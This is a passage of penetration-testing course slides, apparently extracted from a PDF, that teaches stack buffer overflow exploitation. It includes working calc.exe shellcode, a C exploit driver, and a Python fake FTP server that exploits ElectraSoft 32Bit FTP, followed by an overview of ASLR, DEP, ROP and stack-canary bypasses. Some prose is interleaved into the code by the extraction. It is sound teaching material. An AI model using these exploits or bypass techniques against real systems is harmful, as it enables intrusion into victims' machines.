disassemble the .dll and then search for the instruction.

To disassemble a .dll you can load it into Immunity Debugger (or

IDA) and then search for one of two commands: CALL ESP or JMP
ESP.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In Immunity Debugger, once the library has been loaded, we need
to right-click on the disassemble panel and select Search for >
Command (or use the shortcut CTRL+F). In the field, we will type
JMP ESP or CALL ESP and then confirm.

Once we hit OK, the disassemble will take us to the first occurrence
of the pattern searched.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Notice that we can keep searching for other instructions by hitting
CTRL+L.

If we want to search for the pattern in all the modules loaded in

the program (or .dll), we can select Search for -> All Commands
in all modules; this returns a list of all the modules and the
occurrences of the pattern searched.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Another tool we can use to find CALL ESP and JMP ESP instructions
(or similar) is findjmp2. You can find it in the
3_Buffer_Overflow.zip file available in the members area.

It is a very easy tool to use. We need to provide the target .dll file
we want to search and then the registry name, which in our case is
ESP.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We will try to search for any pattern regarding the ESP registry, in
the ntdll.dll file:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 The last option we want to show you, before continuing with the
buffer overflow exploitation, is how to use Mona in order to obtain
similar information. You can check the help manual by typing the
following command in the input field at the bottom of the
Immunity Debugger window:
!mona

https://github.com/corelan/mona

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Going through all its options is out of the scope of this course, but
if you want to know more about it, we strongly suggest you read
articles and posts about Mona here.

The option we are interested in for our purpose is called JMP,

which finds pointers that will allow us to jump to a register.

https://www.corelan.be/index.php/articles/

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The command to run is very simple:
!mona jmp -r esp

Where -r is used to specify the register we want to target. Notice

that we can also select a specific module (or more than one) by
using the -m option. For example, if we want to find all the
instructions in the kernel32.dll file, we will run the following
command:
!mona jmp -r esp -m kernel

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The following screenshot shows the results of the previous
command:

We strongly suggest to read the help manual to understand

how the -m option can be used to tweak your searches.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

It is important to remember that we are working on little-endian
systems. Therefore, all the addresses found must be used carefully.
In our example we are going to use the one highlighted in the
previous screenshot:
Address=77267D3B Message= 0x77267d3b (b+0x00097d3b) : jmp esp | asciiprint

Important! In order to correctly write this address, we will have to

write it in little-endian. Hence, the hexadecimal value in our
exploit program will be \x3B\x7D\x26\x77 and not
\x77\x26\x7D\x3B.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now that we have the address of a CALL ESP, we need to create a
payload that exploits the buffer overflow vulnerability.

Once again, the CALL/JMP ESP (or any similar sequence of

instructions) is required to control the flow of the program.

This allows us, once it returns, to force it to point to our shellcode.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Since we can't write hexadecimal values directly into our command
prompt, we will edit the goodpwd.cpp program and add the
shellcode in there.

You can find the source code of the program

(goodpwd_with_BOF.cpp) in the 3_Buffer_Overflow.zip file
available in the members area.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 int main(int argc, char *argv[])
{
int password=0; // controls whether password is valid or not
printf("You are in goodpwd.exe now\n");

char junkbytes[50]; //Junk bytes before reaching the EIP

memset(junkbytes,0x41,22);
The code we char eip[] = "\x3B\x7D\x26\x77";
char shellcode[] = //Shellcode that follows the EIP - this calls calc.exe
are going to "\x90\x90\x90\x90\x90\x90\x90\x90\x31\xdb\x64\x8b\x7b\x30\x8b\x7f"
"\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b\x77\x20\x8b\x3f\x80\x7e\x0c\x33"
"\x75\xf2\x89\xc7\x03\x78\x3c\x8b\x57\x78\x01\xc2\x8b\x7a\x20\x01"
use is the "\xc7\x89\xdd\x8b\x34\xaf\x01\xc6\x45\x81\x3e\x43\x72\x65\x61\x75"
"\xf2\x81\x7e\x08\x6f\x63\x65\x73\x75\xe9\x8b\x7a\x24\x01\xc7\x66"
following: "\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9"
"\xb1\xff\x53\xe2\xfd\x68\x63\x61\x6c\x63\x89\xe2\x52\x52\x53\x53"
"\x53\x53\x53\x53\x52\x53\xff\xd7";

char command[2000];
strcat(command, junkbytes);
strcat(command, eip);
strcat(command, shellcode);

bf_overflow(command); //call the function and pass user input

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

This program calls goodpwd.exe and passes the content of the
variable command as an argument. The variable command is
composed as follows: Junk bytes + EIP + Shellcode.

Also, notice that at the beginning of the shellcode we added some

NOPs (\x90). Therefore, once the JMP ESP is executed, the first
instruction that will be executed is a NOP. The program will then
continue to slide down the NOPs and execute the actual shellcode.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In this example, we provided you the shellcode, but very shortly
you will be creating your own. For now, you just need to know that
the one used in the example, will run calc.exe.

As a result, if the exploit works, the Windows Calculator will run.

Although it may seem silly, it is a small sized program that we can
use to illustrate the proof of concept.

Don’t worry; we will make more interesting payloads soon.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Moreover, the machine we are using has ASLR enables, and it is
important to remember that the EIP address used in this example
will not work in other environments because the memory address
is not a fixed value. In our case, it will work because we calculated
it when the system was running.

So, unless we reboot the machine, the address will still be the
same.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The following is a snapshot of the stack when the program
encounters the RET instruction contained in the vulnerable
function of our program (bf_overflow).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Here is the
flow of the
program when
our payload
gets executed:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Once the RET
instruction is
executed, the
value on top of
the stack will be
popped into EIP,
and the control
will go to the
address
77267D3B (JMP
ESP).
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
It is important to remember that the RET instruction automatically
adjust the ESP by one position (+4).

Therefore, after RET gets executed, ESP will point to the beginning
of our shellcode (\x90\x90\x90\x90).

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The following is a snapshot of Immunity Debugger right after the
RET instruction:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As we can see, EIP points to our JMP ESP, while ESP has been
updated and now points to the NOPs at the beginning of our
shellcode.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now the JMP ESP will be
executed.

The program will jump to the

memory location where our
shellcode is stored and will
start executing each
instruction.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As you can see, the machine
code (second column) is
exactly our shellcode.

Please keep in mind that we

are working on a little-endian
environment

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Letting the program continue, we will see that a Windows
Calculator appears on our screen:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

We have successfully exploited the buffer overflow and redirected
the control flow to our shellcode!

As you can imagine, running calc.exe will not hurt the victim,
but as we will see later on, we can use different shellcodes that
may allow us to obtain complete control of the victim.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Notice that the example has been executed on a customized
Windows 8 machine (with some security features disabled). We
strongly suggest you run your test in an “easier” environment, such
as Windows XP.

Although it is a very old operating system, it is the best

environment to start working with topics such as buffer overflows
and shellcodes. It has no protection mechanisms such as DEP,
ASLR, memory protection and so on.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Then, once you are more familiar with these topics, you can start
working on operating systems that implement enhanced security
features.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Penetration Testing Professional 5.0 – Caendra Inc. © 2018
If you feel comfortable and confident with what we have done so
far and the entire exploitation process is clear enough, in the next
slides we are going to exploit a real-world application.

The application is an FTP client vulnerable to a buffer overflow.

When the client connects to an FTP server and receives the
banner, if the banner is too long the client application crashes.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

To exploit this vulnerability, we will create a small Python script
that will simulate an FTP server and will send the banner.

The application we are going to target is called ElectraSoft 32Bit

FTP, and you can download it in the members area. It is a very old
FTP application but at the moment it is the best target to improve
your skills in finding and exploiting buffer overflows.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As usual, we strongly suggest you try to exploit the application by
yourself, using either your own target machine or the Hera labs
Windows XP machine.

If you want to try it on your own, there will be a point where you
can stop reading and give it a try.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

First, let’s inspect the Python script that will serve as the FTP
Server.

You can find it in the 3_Buffer_Overflow.zip file available in the

members area. Notice that although a strong programming
background is not needed, a good understanding of C, C++, and
Python will make things easier.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The following is the Python script we are going to use:
#!/usr/bin/python
from socket import *
payload = "Here we will insert the payload"
s = socket(AF_INET, SOCK_STREAM)
s.bind(("0.0.0.0", 21))
s.listen(1)
print "[+] Listening on [FTP] 21"
c, addr = s.accept()
print "[+] Connection accepted from: %s" % (addr[0])
c.send("220 "+payload+"\r\n")
c.recv(1024)
c.close()
print "[+] Client exploited !! quitting"
s.close()

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

This simple code accepts incoming connections on port 21 and
sends a 220 reply code, followed by the banner (payload).

The first step is to create a payload that will help us to find the
correct offset that will overwrite the EIP. We already know how to
do this.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

If you are trying this on your own, now is a good time to see what you
can do with the tools we have discussed so far.

Here are the steps you need to accomplish.

• Create a payload (try using Mona).
• Use Immunity debugger and find out the EIP
• Find out how many Junk Bytes you need (use Mona again).

Once you’ve done that, keep reading to find out if you are correct.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Let’s load the client application in Immunity Debugger and use
Mona to create the payload with the following command:

!mona pc 1100

After running the command, let’s open the file pattern.txt created
by Mona and then copy the HEX version into the payload variable
of our script.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

After that, we can start the python script and run the FTP client from Immunity
debugger.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

At this point, we have the server running, and now we have to
establish the connection from the client.

Notice that since we are running both on the same machine, we

can change the address in the client application and set it to
127.0.0.1.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Click on “Connect” and see what happens in Immunity. After a few
seconds, we can see that the client connects to our server and
then stops.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now that we have the value in the EIP register, let’s use Mona
once again to verify the correct number of junk bytes that we will
have to use in our shellcode:

As we can see in the screenshot, it seems that we need to fill our

shellcode with 989 bytes before reaching the EIP.
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Before editing our script, let’s also find the address of a CALL/JMP
ESP with the following command:
!mona jmp -r esp -m kernel

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

For our test, we will use the one highlighted in the screenshot
(77267D3B).

We can now stop the debugger and exit our Python script.

Once again, we will have to fill the first 989 bytes of the shellcode
with junk bytes and then add the JMP ESP address. Then, add the
shellcode we want to execute, which in our case will be
calc.exe.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Our script will look like the following:
#!/usr/bin/python
from socket import *
payload = "\xc3"*989 # Junk bytes
payload += "\x3B\x7D\x26\x77" # jmp esp kernerlbase.dll
#Shellcode for calc.exe - notice the NOPS at the beginning
payload += ( "\x90\x90\x90\x90\x90\x90\x90\x90"
"\x31\xdb\x64\x8b\x7b\x30\x8b\x7f\x0c\x8b\x7f\x1c\x8b\x47\x08\x8b"
"\x77\x20\x8b\x3f\x80\x7e\x0c\x33\x75\xf2\x89\xc7\x03\x78\x3c\x8b"
"\x57\x78\x01\xc2\x8b\x7a\x20\x01\xc7\x89\xdd\x8b\x34\xaf\x01\xc6"
"\x45\x81\x3e\x43\x72\x65\x61\x75\xf2\x81\x7e\x08\x6f\x63\x65\x73"
"\x75\xe9\x8b\x7a\x24\x01\xc7\x66\x8b\x2c\x6f\x8b\x7a\x1c\x01\xc7"
"\x8b\x7c\xaf\xfc\x01\xc7\x89\xd9\xb1\xff\x53\xe2\xfd\x68\x63\x61"
"\x6c\x63\x89\xe2\x52\x52\x53\x53\x53\x53\x53\x53\x52\x53\xff\xd7")
…

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now that the Python server is complete let’s run it and then
execute the FTP client once again.

This time, we don’t need to debug it.

Once we start the connection to the server, if the Calculator

appears on the screen, it means that the exploit succeeded.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As we can see in the following screenshot, the application crashes
but the Calculator appears!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Now that we know how it works, let’s see a video that recaps the
entire exploitation process.

First, we will show you how to identify the correct offset to use,
then the EIP address to overwrite and then we will exploit the
application.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
There are different security measures that have been developed
and implemented in order to avoid or make it harder for buffer
overflows exploitation.

We already introduced them in the previous modules, but here are

additional details on how they work.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In order to explain in detail how these security features can be
bypassed would require a very good understanding and experience
with OS architectures, assembly code, reverse engineering and
more.

However, we will give you a thorough overview of how they work

and how they can be defeated.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Another tool that will be extremely useful during our tests is EMET
(Enhanced Mitigation Experience Toolkit). EMET is a utility that
helps prevent vulnerabilities in software from being successfully
exploited. EMET offers many different mitigation technologies,
such as DEP, ASLR, SEHOP and more.

We strongly suggest that you read the user manual here

(Mitigation paragraph), in order to understand all the mitigations it
offers.
https://support.microsoft.com/en-us/help/2458544/the-enhanced-mitigation-experience-toolkit
https://www.microsoft.com/en-us/download/details.aspx?id=50802
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
So why do we need EMET? Although it can be used to enhance the
security of our system, it can also be used to disable them.

This is especially useful when testing our exploits since we can

force programs and applications not to use them.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Here, for example, we can see that we have disabled some of the
mitigations for the following programs:

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

It is important to note that on newer operating systems, ASLR, DEP
and SEHOP cannot be completely disabled.

We suggest you try to debug simple, vulnerable applications and

see how things change when you enable or disable these
mitigations.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The goal of Address space layout randomization (ASLR) is to
introduce randomness for executables, libraries, and stack in
process address space, making it more difficult for an attacker to
predict memory addresses.

Nowadays, all operating systems implement ASLR!

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

When ASLR is activated, the OS loads the same executable at
different locations in memory every time (at every reboot).

You can check it yourself by opening a .dll or a .exe file in Immunity

debugger and then click on the executable modules panel.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In the following example, we loaded calc.exe in Immunity
Debugger and then clicked on the “e” button on the top. As you
can see in the screenshot, each module has its own base address.
The base address is the position in memory where the module has
been loaded.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

If we reboot the system and try to load the same executable again,
we will see that these base addresses change. Also, notice that
only the 2 high bytes of the base addresses are randomized.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

With ASLR enabled, some of the modules will not be loaded into
predictable memory locations anymore.

Therefore, exploits that work by targeting known memory location

will not be successful anymore.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Think about our previous exploit. If we reboot the system, the
exploit will not work anymore. This happens because not only will
the address of our CALL/JMP ESP be different each time, it will also
be different for each machine with the same Operating System.

Therefore, the application would just crash.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

When ASLR is not implemented, for example on Windows XP, we
can use known memory addresses location for the CALL/JMP ESP
instructions. The exploit would work on different machines with
the same Operating System.

ASLR is not enabled for all modules. This means that if a process
has ASLR enabled, there could be a dll (or another module) in the
address space that does not use it, making the process vulnerable
to ASLR bypass attack.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 The easiest way to verify which processes have ASLR enabled is to
download and run Process Explorer. In the ASLR column, you can
see if the process implements or not ASLR.

https://docs.microsoft.com/en-us/sysinternals/downloads/process-explorer

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Immunity Debugger allows
you to check the ASLR
status by using Mona to
verify modules properties.

The easiest command you

can run is:
!mona modules

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

In the results, you will see all the modules loaded, and you can
verify if ASRL is enabled or not. If you want to list only the modules
that do not have ASLR enabled, you can run the following
command:
!mona noaslr

Once again, Mona is a very powerful tool. It will be extremely

useful to defeat security measures such as ASLR, DEP, etc.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 There are different methods that we can use.

We are not going into the details of each technique since they
require very good experience in reverse engineering, exploit
writing and more.

You can find great resources about these topics here.

https://www.corelan.be/

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

This technique aims to find a module that does not have ASLR
enabled and then use a simple JMP/CALL ESP from that module.

This is the easiest technique that one can use since the process is
very similar to the one we have seen so far.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

With this method, ASLR can be forced by overwriting the return
pointer with plausible addresses until, at some point, we reach the
shellcode.

The success of pure brute-force depends on how tolerant an

exploit is to variations in the address space layout (e.g., how many
NOPs can be placed in the buffer), and on how many exploitation
attempts one can perform.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

When an attempt to guess a correct return address fails, the
application crashes.

This method is typically applied against those services

configured to be automatically restarted after a crash.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Here, we create a big area of NOPs in order to increase the
chances to jump to this area. As you already know, NOP
stands for No Operation, and as the name suggests, it is an
instruction that effectively does nothing at all.

Therefore, the execution will “slide” down the NOPs and

reach the shellcode.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Note: Since the processor skips NOPs until it gets to something to
execute, the more NOPs we can place before our shellcode, the
more chances we have to land on one of these NOPs.

The advantage of this technique is that the attacker can guess the
jump location with a low degree of accuracy and still successfully
exploit the program.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Here is a representation
of the NOP-Sled technique:

Here you can also find a good reference from FireEye about
bypassing ASLR.
https://www.fireeye.com/blog/threat-research/2013/10/aslr-bypass-apocalypse-in-lately-zero-day-exploits.html

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 We achieve maximum defense when ASLR is correctly implemented and
DEP is enabled. For deeper, more technical information on this, please
check here.

Otherwise here are some good references that you can use to start
diving into bypassing ASLR+DEP:
• Universal-depaslr-bypass-with-msvcr71-dll-and-mona-py
• https://www.exploit-db.com/docs/english/17914-bypassing-
aslrdep.pdf
• Exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-
hw-dep-and-aslr
https://blogs.technet.microsoft.com/srd/2010/12/08/on-the-effectiveness-of-dep-and-aslr/ https://www.exploit-db.com/docs/17914.pdf
https://www.corelan.be/index.php/2011/07/03/universal-depaslr-bypass-with-msvcr71-dll-and-mona-py/ https://www.corelan.be/index.php/2009/09/21/exploit-writing-
tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Another defensive feature designed for Operating Systems is called
Data Execution Prevention (DEP). It is a hardware and software
defensive measure for preventing the execution of code from
pages of memory that are not explicitly marked as executable.

DEP helps prevent certain exploits where the attacker injects new
code on the stack.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

At stack level this is what happens:

While DEP makes the exploit development process more complex

and time-consuming, it is possible to disable it before executing
the actual shellcode.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Bypassing DEP is possible by using a very smart technique
called Return-Oriented Programming (ROP). ROP consists of
finding multiple machine instructions in the program (called
gadget), in order to create a chain of instructions that do
something.

Since the instructions are part of the stack, DEP does not
apply on them.
https://cseweb.ucsd.edu/~hovav/talks/blackhat08.html

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Gadgets are small groups of instructions that perform some
operations (arithmetical operations on registers, check for
conditional jumps, store or load data and so on) and that end with
a RET instruction.

The RET is important since it will allow the chain to work and keep
jumping to the next address after executing the small set of
instructions.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The purposes of the entire chain are different. We can use ROP
gadgets to call a memory protection function (kernel API such as
VirtualProtect) that can be used to mark the stack as
executable; this will allow us to run our shellcode as we have seen
in the previous examples.

But we can also use ROP gadgets to execute direct commands or

copy data into executable regions and then jump to it.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Mona offers a great feature that generates the ROP gadget chain
for us, or that will at least help us to find all the ROP gadgets that
we can use.

Here you can find a list of ROP gadgets from different libraries and
.dll files, while here you can find a good article that goes deeper in
ROP gadgets.

https://www.corelan.be/index.php/security/rop-gadgets/
https://www.corelan.be/index.php/2010/06/16/exploit-writing-tutorial-part-10-chaining-dep-with-rop-the-rubikstm-cube/#buildingblocks
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
In order to avoid the exploit of such techniques, ASLR was
introduced. By making kernel API’s load at random addresses,
bypassing DEP becomes hard.

If both DEP and ASLR are enabled, code execution is sometimes

impossible to achieve in one attempt.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 Another security implementation that has been developed during
the years is the Stack Canary (a.k.a. Stack cookie).

The term canary comes from the canary in a coal mine, and its
purpose is to modify almost all the function’s prologue and
epilogue instructions in order to place a small random integer
value (canary) right before the return instruction, and detect if a
buffer overflow occurs.
https://en.wiktionary.org/wiki/canary_in_a_coal_mine

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

As you already know, most buffer overflows overwrite memory
address locations in the stack right before the return pointer; this
means that the canary value will be overwritten too.

When the function returns, the value is checked to make sure that
it was not changed. If so, it means that a stack buffer overflow
occurred.

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

The representation of the stack when the canary is implemented
by the compiler is the following:
• The function prologue loads the random value in the canary
location, and the epilogue makes sure that the value is not
corrupted.
....
Buffer
Canary
Saved EBP
Return Address (EIP)
...

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

 In order to bypass this security implementation, one can try to
retrieve or guess the canary value, and add it to the payload.

Beside guessing, retrieving or calculating the canary value, David

Litchfield developed a method that does not require any of these.
If the canary does not match, the exception handler will be
triggered. If the attacker can overwrite the Exception Handler
Structure (SEH) and trigger an exception before the canary value is
checked, the buffer overflow could still be executed.
https://www.blackhat.com/presentations/bh-asia-03/bh-asia-03-litchfield.pdf
https://msdn.microsoft.com/en-us/library/windows/desktop/ms680657(v=vs.85).aspx
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
 This introduced a new security measures called SafeSEH.

You can read more about it SafeSEH here, and here you can find a
very good article on how to bypass stack canary.

https://msdn.microsoft.com/en-us/library/9a89h429.aspx
https://www.corelan.be/index.php/2009/09/21/exploit-writing-tutorial-part-6-bypassing-stack-cookies-safeseh-hw-dep-and-aslr/
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Penetration Testing Professional 5.0 – Caendra Inc. © 2018
Splint Cppcheck
http://www.splint.org/
http://cppcheck.sourceforge.net/

Peach Fuzzing Platform Sulley

https://github.com/OpenRCE/sulley
https://www.peach.tech/

Sfuzz FileFuzz
https://github.com/orgcandman/Simple-Fuzzer https://packetstormsecurity.com/files/39626
/FileFuzz.zip.html

Bypass Stack Canary IDA

https://www.corelan.be/index.php/2009/09/
21/exploit-writing-tutorial-part-6-bypassing- https://www.hex-rays.com/products/ida/
stack-cookies-safeseh-hw-dep-and-aslr/

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Pattern Create Pattern Offset
https://github.com/lattera/metasploit/blob/ https://github.com/lattera/metasploit/blob/
master/tools/pattern_create.rb master/tools/pattern_offset.rb

Mona EMET
https://github.com/corelan/mona https://support.microsoft.com/en-
us/help/2458544/the-enhanced-mitigation-
experience-toolkit

EMET Manual Process Explorer

https://www.microsoft.com/en- https://docs.microsoft.com/en-
us/download/details.aspx?id=50802 us/sysinternals/downloads/process-explorer

ASRL Bypass ASRL Bypass (FireEye)

https://www.corelan.be/ https://www.fireeye.com/blog/threat-
research/2013/10/aslr-bypass-apocalypse-in-
lately-zero-day-exploits.html

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

DEP and ASLR Universal DEP Bypass
https://blogs.technet.microsoft.com/srd/201 https://www.corelan.be/index.php/2011/07/
0/12/08/on-the-effectiveness-of-dep-and- 03/universal-depaslr-bypass-with-msvcr71-
aslr/ dll-and-mona-py/

Bypassing DEP and ASLR Return-Oriented Programming

https://www.corelan.be/index.php/2009/09/ https://cseweb.ucsd.edu/~hovav/talks/blackha
21/exploit-writing-tutorial-part-6-bypassing- t08.html
stack-cookies-safeseh-hw-dep-and-aslr/

ROP Gadget ROP Gadget 2

https://www.corelan.be/index.php/security/r https://www.corelan.be/index.php/2010/06/
16/exploit-writing-tutorial-part-10-chaining-
op-gadgets/
dep-with-rop-the-rubikstm-
cube/#buildingblocks

Canary Calculate Canary Value

https://en.wiktionary.org/wiki/canary_in_a_c https://www.blackhat.com/presentations/bh
oal_mine -asia-03/bh-asia-03-litchfield.pdf

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Exception Handler Structure SafeSEH
https://msdn.microsoft.com/en- https://msdn.microsoft.com/en-
us/library/windows/desktop/ms680657(v=vs. us/library/9a89h429.aspx
85).aspx

Penetration Testing Professional 5.0 – Caendra Inc. © 2018

Debugging Buffer Exploiting Buffer
Overflows Overflows - 32Bit FTP

Penetration Testing Professional 5.0 – Caendra Inc. © 2018